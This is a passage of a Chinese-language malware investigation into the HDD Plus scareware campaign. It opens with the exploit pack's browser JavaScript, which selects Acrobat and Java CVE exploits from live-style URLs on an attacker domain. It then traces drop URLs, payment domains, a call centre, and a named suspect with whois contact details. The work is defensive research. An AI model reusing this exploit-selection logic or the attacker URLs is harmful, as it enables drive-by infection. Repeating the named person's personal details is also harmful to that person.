}else if(acrobat.version >= 900 && acrobat.version < 940){
if(acrobat.version < 931){
("http://expa42.co.cc/bl3/load.php?e=Adobe-90-2010-0188");
}else if(acrobat.version < 933){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-1297");
}else if(acrobat.version < 940){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-2884");
}
}else if(acrobat.version >= 700 && acrobat.version < 711){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2008-2992");
}

if(ojava.installed){
if(ojava.version < 6 || (ojava.version == 6 && ojava.build < 19)){
("http://expa42.co.cc/bl3/load.php?e=Java-2010-0842");
}else if(ojava.version == 6 && ojava.build < 22){
("http://expa42.co.cc/bl3/load.php?e=Java-2010-3552");
}
}

在寫這篇報導時,這個Exploit pack中的exploits,掃毒軟體對於它的偵測率是相當低的。例如http://expa42.co.cc/bl3/load.php?e=Java-2010-3552 (CVE-2010-3552)這個exploit 1/43 on VirusTotal0/19 on jotti, 而load.php?e=Adobe-2010-2884 (CVE-2010-2884) 目前的偵測率為 5/43 在 VirusTotal上2/19 在joiit上

在成功之後會來執行shellcode然後會來下載執行檔來執行:http://expa42.co.cc/bl3/load.php?e=XX, 這邊的 XX 為exploit的名稱,而http://expa42.co.cc/bl3/drop.php?e=Adobe-90-2010-0188即所下載的執行檔。目前所有的執行檔都是同一個,即HDD Tool這個惡意軟體。而防毒軟體對它的偵測率約為50%:15/43 在VirusTotal上,及11/19在jotti上

[這一切背後的藏鏡人]
HDD Plus先前透過DoubleClick及MSN來散播,而現在又透過受入侵的OpenX平台。我們想要知道,這背後究竟是何人所為。根據我們的經驗這些散播惡意程式的人(如上傳AdShufffle假廣告,入侵OpenX平台,等等)和開發這個惡意程式的人及收取費用的人,通常不是同一個單一團體。但是被入侵的站台(如takeatime.com)及惡意網域(如finofalts.com,parti13.co.cc,expa42.co.cc等等以及大部份的co.cc)這實在太多了,若要朝此方向真的不好追查,然而付費流程就不會如此的多,因為它須要花更多的時間來設計這整個付費機制,所以這邊將是我們開始調查的重點方向。

當受害者嘗試要付費的時候,HDD Plus及HDD Tools會連線到以下兩個網域:defragstore.com (註冊於2010年6月30日)及 onlinepaydebt.com (註冊於2010年9月27日),而這兩個網域正查後指到同一個IP 94.76.192.210(UK PoundHost專用)。 這個defragstore.com列了一個客服專線:+1-877-282-0139。這個專線跟受害者付費後的發票開立是同一條,它會接到位於印度的一個客服中心系統。若你不想訂購,他們也會很快的退還你的錢。好讓你覺得他是一家正常運作的公司。這是一個典型的恫嚇軟體(Scareware)的行為模式,因為付費機制不容易建立,所以當發生問題或你不想要訂購他們是會退你錢的。也因此他們的這個付費閘道才不會被銀行撤下,不過在這過程你的個資(像信用卡等資訊)可能已被偷走了。 而在發票上的公司名稱為 "SecurityLabSoftware",帳單上所秀的creditor則為"trd-app.com"。


這個客服網站允許顧客登入去下載它的軟體及檔案等:http://acideds.org/customers (註冊於2010年11月2日)


這邊有相當多的網域,因為有一些可能會被拿下或被標示成惡意:
http://earlyeds.org/customers
http://dirtyeds.org/customers
http://edsclick.com/customers
http://www.edsclick.com/customers

好,那麼現在我們有了:幫忙開發網站的、有了付費機制、有了客服中心、也有了託管公司等相關資訊後。我們開始連繫他們許多人,其中包括有位於歐洲的、英國的、印度的及蘇俄的,而這些所有的人都說,這一切都是由一位在莫斯科名叫Dmitry Slevin先生所規劃開發的,並給了我們他的電子信箱,之後我們使用whois找到了他的電話。

首先我們先得知了Slevin先生從2009/11到2010/06期間,擁有malwaremechanic.com這個網域,而這個malwaremechanic.com是一個已知的恫嚇軟體(scareware)。

(this is hostorical whois data and dates Nov 6th, 2009)
Domain Name: MALWAREMECHANIC.COM
Created on: 10-Oct-07
Expires on: 10-Oct-10
Last Updated on: 05-Nov-09

Administrative Contact:
Esaulova, Alla slevintm@gmail.com
MDA Systems ltd
35 Brompton Road, Knightsbridge
London, London SW3 1DE
United Kingdom
+44.4402078080190 Fax --

然後我們又得知了在12月6日,Slevin先生註冊了systemutilites.com這個網域,在這邊我們可以下載體驗版的 "System Utilities"。它不僅在外觀上跟HDD Plus and HDD Tools有些雷同之外,它也同時觸發了防毒軟體24/45 (判定為FakeAV)在VirusTotal上,及9/19 在jotti上



我們發了封信給Slevin先生,隨後在電話中與他交談。起初他否認他知道這個defragstore.com,並說這不是他的網域。不過他後來改變了他的說詞,說這個網域是跟他相關的,並說他只是一個靠賣網域賺些錢的人而已。也說願意提供HDD Plus/Tools及SystemUtilites背後的連繫管道給我們。

他也同時否認所有各方(網站開發,託管,客服中心等)對他的指認,我們不知道這位Slevin先生在整個"HDD Plus"行動中真正所扮演腳色地位,不過我們確信他的確參與在其中,並且選擇性的告訴我們他所知的一小部份。


繼續閱讀全文...